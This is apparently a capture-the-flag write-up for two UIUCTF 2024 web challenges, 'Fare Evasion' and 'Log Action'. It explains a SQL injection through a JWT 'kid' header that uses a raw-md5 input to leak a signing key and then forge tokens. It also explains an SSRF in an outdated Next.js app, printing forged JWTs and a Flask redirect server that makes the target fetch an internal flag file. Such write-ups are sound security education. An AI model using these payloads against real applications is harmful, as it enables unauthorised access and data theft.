UIUCTF2024


[Web] Fare Evasion

Description

SIGPwny Transit Authority needs your fares, but the system is acting a tad odd. We’ll let you sign your tickets this time! https://fare-evasion.chal.uiuc.tf/

Analysis

The challenge does not provide source code. Diving into the application and viewing the page source hints at SQL Injection and md5 encoded as latin-1 instead of hex.


After playing around the app, we know that:

  • It uses JWT tokens and provides the passenger signing key
  • There is an SQL Injection through the kid header with md5 and uses latin-1 encoding due to response
  • We have to get the admin key or in this case conductor key to sign our token to advance

Solution

Googling around I found this article which explains the problem and is similar to the challenge (https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes).

Changing the kid header to 129581926211651571912466741651878684928 will leak the conductor key. After getting this key, we can forge our token to obtain the flag.

Payload

1
2
3
4
5
6
7
8
9
//JWT with kid header hash value
eyJhbGciOiJIUzI1NiIsImtpZCI6IjEyOTU4MTkyNjIxMTY1MTU3MTkxMjQ2Njc0MTY1MTg3ODY4NDkyOCIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoicGFzc2VuZ2VyIn0.lAOo9gRrLUmYLcTR1JVyHK1fqeZjRfNkdixQDDcJOL8

conductor_key_873affdf8cc36a592ec790fc62973d55f4bf43b321bf1ccc0514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e

//JWT with conductor secret
eyJhbGciOiJIUzI1NiIsImtpZCI6InRlc3QiLCJ0eXAiOiJKV1QifQ.eyJ0eXBlIjoicGFzc3NlbmdlciJ9.14V5mvqWcVHgWf0LrxU4e64vHoe4fCWfbqNCD3l22z8

uiuctf{sigpwny_does_not_condone_turnstile_hopping!}

[Web] Log Action

Description

I keep trying to log in, but it’s not working :’( http://log-action.challenge.uiuc.tf/

Analysis

The challenge provides source code and and by running npm audit, it uses an older version of nextjs that is vulnerable to SSRF. Googling for the outdated version provides us with a blog by Assetnote (https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps).

The /login condition satisfies the requirements of redirection and ‘use server’. Lets try to hit this.

1
2
3
4
5
6
7
"use server";
...
finally {
if (!foundError) {
redirect('/admin');
}
}

However, the redirection can only be triggered by logging in as the admin. This is not possible unless we are extremely lucky.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
export const { auth, signIn, signOut } = NextAuth({
...authConfig,
providers: [
Credentials({
async authorize(credentials) {
const parsedCredentials = z
.object({ username: z.string(), password: z.string() })
.safeParse(credentials);

if (parsedCredentials.success) {
const { username, password } = parsedCredentials.data;
// Using a one-time password is more secure
if (username === "admin" && password === randomBytes(16).toString("hex")) {
return {
username: "admin",
} as User;
}
}
throw new CredentialsSignin;
},
}),
]
});

Solution

While the /login condition is unexploitable, the /logout endpoint which at first glance can only be done after logging in is not protected by the auth middleware. As we can see, the auth middleware only checks for paths with ‘/admin/‘.

1
2
3
export const config = {
matcher: ['/admin/:path*'],
};

Thus, we can now use the /logout endpoint to solve the challenge as it satisfies the conditions and is accessible.

1
2
3
4
5
6
7
<form
action={async () => {
"use server";
await signOut({ redirect: false });
redirect("/login");
}}
>

Payload

Following the steps, our server is hosted with ngrok and URL to read is http://backend/flag.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, Response, request, redirect
app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
if request.method == 'HEAD':
resp = Response("")
resp.headers['Content-Type'] = 'text/x-component'
return resp
return redirect('http://backend/flag.txt')

if __name__ == '__main__':
app.run()

uiuctf{close_enough_nextjs_server_actions_welcome_back_php}